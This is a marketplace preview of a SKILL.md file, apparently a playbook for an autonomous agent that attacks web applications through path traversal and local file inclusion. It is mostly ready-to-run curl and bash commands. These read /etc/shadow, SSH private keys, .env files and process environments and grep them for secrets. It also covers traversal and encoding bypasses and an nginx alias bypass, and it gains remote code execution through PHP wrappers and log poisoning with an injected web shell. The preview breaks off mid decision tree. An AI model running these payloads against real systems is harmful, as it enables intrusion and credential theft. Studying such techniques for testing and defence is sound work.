Skip to main content

lfi

Path traversal and Local File Inclusion (LFI) — arbitrary file reading via directory traversal, PHP filter/input/data wrappers for RCE, log poisoning, static resource disclosure, and information leakage. Use for any challenge involving file path manipulation, ../ traversal, local file read, PHP wrappers, or sensitive file disclosure.

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
May 26, 2026 at 03:12
Detected SKILL.md language
English
Stars
5,611
Forks
1,061

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
lfi
description
Path traversal and Local File Inclusion (LFI) — arbitrary file reading via directory traversal, PHP filter/input/data wrappers for RCE, log poisoning, static resource disclosure, and information leakage. Use for any challenge involving file path manipulation, ../ traversal, local file read, PHP wrappers, or sensitive file disclosure.
allowed-tools
Bash Read Write
metadata
{"subdomain":"execution","when_to_use":"lfi, local file inclusion, path traversal, directory traversal, file read, php wrapper, log poisoning, file disclosure, information_disclosure, static resource, file download, include, require, file path, dot dot slash, ../, path manipulation, poison inclusion, deprecated, php filter, php input, source code read","tags":"web-application, lfi, path-traversal, file-inclusion, information-disclosure","mitre_attack":"T1190, T1005"}
# Path Traversal / Local File Inclusion (LFI) Exploits insufficient path validation to read arbitrary files or include them for execution. Often targets file download/display endpoints, template inclusion, or static resource handlers. ## Precondition — Use Recon Handoff First If the recon handoff (`recon/SUMMARY.md` `RECON_HANDOFF:` line) names a specific file/path parameter (e.g. `/<endpoint>?file=`, `/<endpoint>?path=`, `/<endpoint>?name=`), START with the parameter named in the handoff. Do NOT run `gobuster`/`ffuf`/`dirb` against the host before testing the handoff parameter — recon already enumerated the surface. The Detection block below is for engagements where NO recon handoff exists. The first 3 commands you run in this skill MUST target the recon-named parameter with these payload classes (one per command): 1. plain traversal — `../../../etc/passwd` 2. stripped-traversal bypass — `....//....//....//etc/passwd` 3. PHP wrapper — `php://filter/convert.base64-encode/resource=<file>` Only if all three return baseline-matched response (per the §"Response Body Verification" check) should you consider broader endpoint discovery — and that discovery belongs in `exploit/PIVOT.md` first, documenting (a) what payload classes you tried against the handoff parameter, (b) why the handoff vector is exhausted, (c) the new surface you are moving to. ## Detection ```bash # Basic path traversal probes on common parameters for param in file name path page template doc include src resource filename load; do resp=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>/?$param=../../../etc/passwd") [ "$resp" != "404" ] && echo "Param '$param' returned $resp" done # Test traversal depth curl -s 'http://<TARGET>/file?name=../../../etc/passwd' curl -s 'http://<TARGET>/file?name=../../../../etc/passwd' curl -s 'http://<TARGET>/file?name=../../../../../etc/passwd' # URL-encoded traversal curl -s 'http://<TARGET>/file?name=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' # Double URL-encoded (when server decodes twice) curl -s 'http://<TARGET>/file?name=%252e%252e%252f%252e%252e%252fetc%252fpasswd' # Null byte (older PHP < 5.3.4) curl -s 'http://<TARGET>/file?name=../../../etc/passwd%00.jpg' # Path in URL path segment curl -s 'http://<TARGET>/static/..%2f..%2f..%2fetc/passwd' curl -s 'http://<TARGET>/files/....//....//....//etc/passwd' ``` ## Server-Level Path Traversal (Nginx Alias Off-by-Slash) Distinct from PHP-parameter LFI: the vulnerability lives in the nginx config, not in application code. Frequently appears in production reverse-proxy / static-asset / admin-panel deployments. Test EVERY discovered URL prefix that returns a 301 redirect appending `/`, BEFORE moving to parameter fuzzing — this probe is one curl per prefix, near-zero cost, high signal. **Fingerprint** (any of these is enough to test): - `Server: nginx` response header - A path `/prefix` (no trailing slash) returns 301 redirecting to `/prefix/` — canonical signature of `location /prefix` (no slash) with a separate `location /prefix/` (with slash) - Static assets served under a path prefix (`/static`, `/assets`, `/images`, `/admin`, `/files`, `/uploads`) **Exploit pattern** — append `../` DIRECTLY after the prefix (no slash between): ```bash # For each prefix discovered in recon (gobuster/ffuf or 301-redirect probe): for prefix in admin static assets images files uploads docs api; do STATUS=$(curl -s -o /tmp/alias_${prefix}.txt -w '%{http_code}' "http://<TARGET>/${prefix}../etc/passwd") SIZE=$(wc -c < /tmp/alias_${prefix}.txt) echo "${prefix}: status=${STATUS} size=${SIZE}" grep -c 'root:' /tmp/alias_${prefix}.txt done # Then walk parents to find sensitive files near the alias root: PREFIX="admin" # the winning prefix from above for target in etc/passwd .env flag.txt flag config.php settings.py ../.env ../flag.txt; do curl -s "http://<TARGET>/${PREFIX}../${target}" | head -5 done ``` **Why it works**: when `location /prefix` lacks the trailing slash but `alias /target/` has one, nginx strips the URI's literal `/prefix` portion and concatenates the rest with the alias target. Request `/prefix../foo` → nginx removes `/prefix` → leaves `../foo` → resolves against `/target/` → `/target/../foo` = parent-directory access. **Distinguishing from `root` directive**: only `alias` is affected. A `location /static { root /var/www/; }` block is NOT vulnerable to this — nginx appends the FULL request URI to the root path, so `/static../etc/passwd` yields `/var/www/static../etc/passwd` (no traversal). The 301-redirect fingerprint is the cleanest way to tell them apart without reading the config. **Decision rule**: when LFI tag is in scope AND the server is nginx AND no PHP-parameter LFI is found, run the alias probe across EVERY discovered prefix before parameter fuzzing. The agent's pattern-completion failure mode is to recognize the nginx-alias concept but apply it only to one (often wrong) prefix — test all of them. ## Credential/Secret File Discovery ```bash # Try all common sensitive file locations via path traversal for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa \ /var/www/html/.env /app/.env /app/config.py /app/settings.py \ /opt/app/config.json /srv/app/.env; do echo "=== $f ===" && curl -s "http://<TARGET>/file?name=../../../..$f" done # Also try reading from absolute path if misconfigured for f in /.env /app/.env /var/www/html/.env /etc/passwd; do echo "=== direct $f ===" && curl -s "http://<TARGET>/file?name=$f" done # Check environment variables (if /proc accessible) curl -s 'http://<TARGET>/file?name=../../../proc/self/environ' | tr '\0' '\n' | grep -iE 'secret|key|token|pass|cred' # Check application config files for secrets curl -s 'http://<TARGET>/file?name=../../../var/www/html/.env' curl -s 'http://<TARGET>/file?name=../../../app/.env' ``` ## Bypass Techniques ```bash # If ../ is stripped once (use ....// which becomes ../ after stripping) curl -s 'http://<TARGET>/file?name=....//....//....//etc/passwd' # If path must start with expected directory curl -s 'http://<TARGET>/file?name=/var/www/html/../../../etc/passwd' # Mixed encoding curl -s 'http://<TARGET>/file?name=..%252f..%252f..%252fetc/passwd' # Absolute path (misconfigured path join) curl -s 'http://<TARGET>/file?name=/etc/passwd' # Windows paths (if Windows target) curl -s 'http://<TARGET>/file?name=..\..\..\..\windows\win.ini' curl -s 'http://<TARGET>/file?name=..%5c..%5c..%5cwindows%5cwin.ini' ``` ## Response Body Verification (MANDATORY for path-traversal hits) A 200 status code on a traversal request does NOT mean the file was read. Common false-success patterns: - Web server fallback: nginx/Apache serves index.html when the requested file is not in the alias root - Application catch-all: framework returns a default "page not found" template with 200 status - WAF response: returns boilerplate page with 200 instead of 403 **MANDATORY verification before treating any traversal hit as success**: ```bash # Save the suspect response curl -s "https://<TARGET>/<traversal_path>" -o /tmp/probe.txt SIZE=$(wc -c < /tmp/probe.txt) # 1. Compare size to baseline (homepage / 404 page) curl -s "https://<TARGET>/" -o /tmp/baseline.txt BASELINE=$(wc -c < /tmp/baseline.txt) if [ "$SIZE" = "$BASELINE" ]; then echo "FAIL: response size matches homepage — server is serving fallback, NOT the target file" fi # 2. Grep for file-format signatures (depends on what file you're reading) grep -E '^root:x:0:0|^[a-z_-]+:[*x!]:' /tmp/probe.txt && echo "PASS: looks like /etc/passwd" grep -E '^<\?php|^#!/' /tmp/probe.txt && echo "PASS: looks like a script source" grep -E '^Linux|^[0-9.]+ [0-9.]+' /tmp/probe.txt && echo "PASS: looks like /proc content" file /tmp/probe.txt | grep -v 'HTML\|empty' && echo "PASS: file(1) detected non-HTML content" # 3. Try a known-content control file BEFORE concluding the bypass works # /etc/hostname is short (1 line), absolutely not HTML curl -s "https://<TARGET>/<traversal_prefix>etc/hostname" -o /tmp/hostname.txt HOSTNAME_SIZE=$(wc -c < /tmp/hostname.txt) if [ "$HOSTNAME_SIZE" -lt 100 ] && grep -qE '^[a-z0-9.-]+$' /tmp/hostname.txt; then echo "PASS: hostname read works — bypass confirmed, now retry target file" fi ``` **Decision rule**: If suspect response size matches homepage/baseline AND no file-format signature is present, the bypass is NOT working — pivot to a different technique (PHP wrappers, log poisoning, different traversal prefix). Do NOT iterate on the same path with different filenames; the path-validation layer is winning. **Anti-pattern**: getting a 200 with a body whose size matches the homepage on `/images../etc/passwd` (or similar nginx alias bypass) and treating it as a hit. The body bytes are homepage HTML — the alias bypass was syntactic only, not content-bearing. With this verification rule, the size match is detected in one call and the agent pivots to wrapper techniques instead of iterating filenames. ## PHP Wrappers (PHP LFI) ```bash # Read source code via php://filter (base64-encoded output) curl -s 'http://<TARGET>/page?file=php://filter/convert.base64-encode/resource=index.php' | base64 -d # RCE via php://input (if allow_url_include=On) curl -s 'http://<TARGET>/page?file=php://input' -d '<?php system("cat /.env"); ?>' # RCE via data:// wrapper curl -s 'http://<TARGET>/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOyA/Pg==' # The base64 decodes to: <?php system("id"); ?> — replace with desired command # Expect wrapper curl -s 'http://<TARGET>/page?file=expect://cat+/.env' ``` ## LFI to RCE via Log Poisoning ```bash # 1. Poison Apache/Nginx access log with PHP code in User-Agent curl -s 'http://<TARGET>/' -H 'User-Agent: <?php system($_GET["cmd"]); ?>' # 2. Include the log file to execute injected PHP curl -s 'http://<TARGET>/page?file=../../../var/log/apache2/access.log&cmd=cat+/.env' curl -s 'http://<TARGET>/page?file=../../../var/log/nginx/access.log&cmd=cat+/.env' # Alternative log paths curl -s 'http://<TARGET>/page?file=../../../var/log/httpd/access_log&cmd=cat+/.env' curl -s 'http://<TARGET>/page?file=../../../proc/self/fd/1&cmd=cat+/.env' ``` ## LFI to RCE via /proc ```bash # Read /proc/self/environ for env variables curl -s 'http://<TARGET>/page?file=../../../proc/self/environ' # If environment is readable, poison it via headers curl -s 'http://<TARGET>/page?file=../../../proc/self/environ' \ -H 'User-Agent: <?php system("cat /.env"); ?>' ``` ## Decision Tree ``` LFI identified? ├── Can read /etc/passwd via ../ → Confirmed plain traversal │ ├── Try sensitive files directly → /.env, /app/.env, /app/config.py │ ├── Try env vars → /proc/self/environ | grep -iE 'secret|key|token|pass'
View on GitHub
This SKILL.md is very large, so SkillsMP previews the first section here. View on GitHub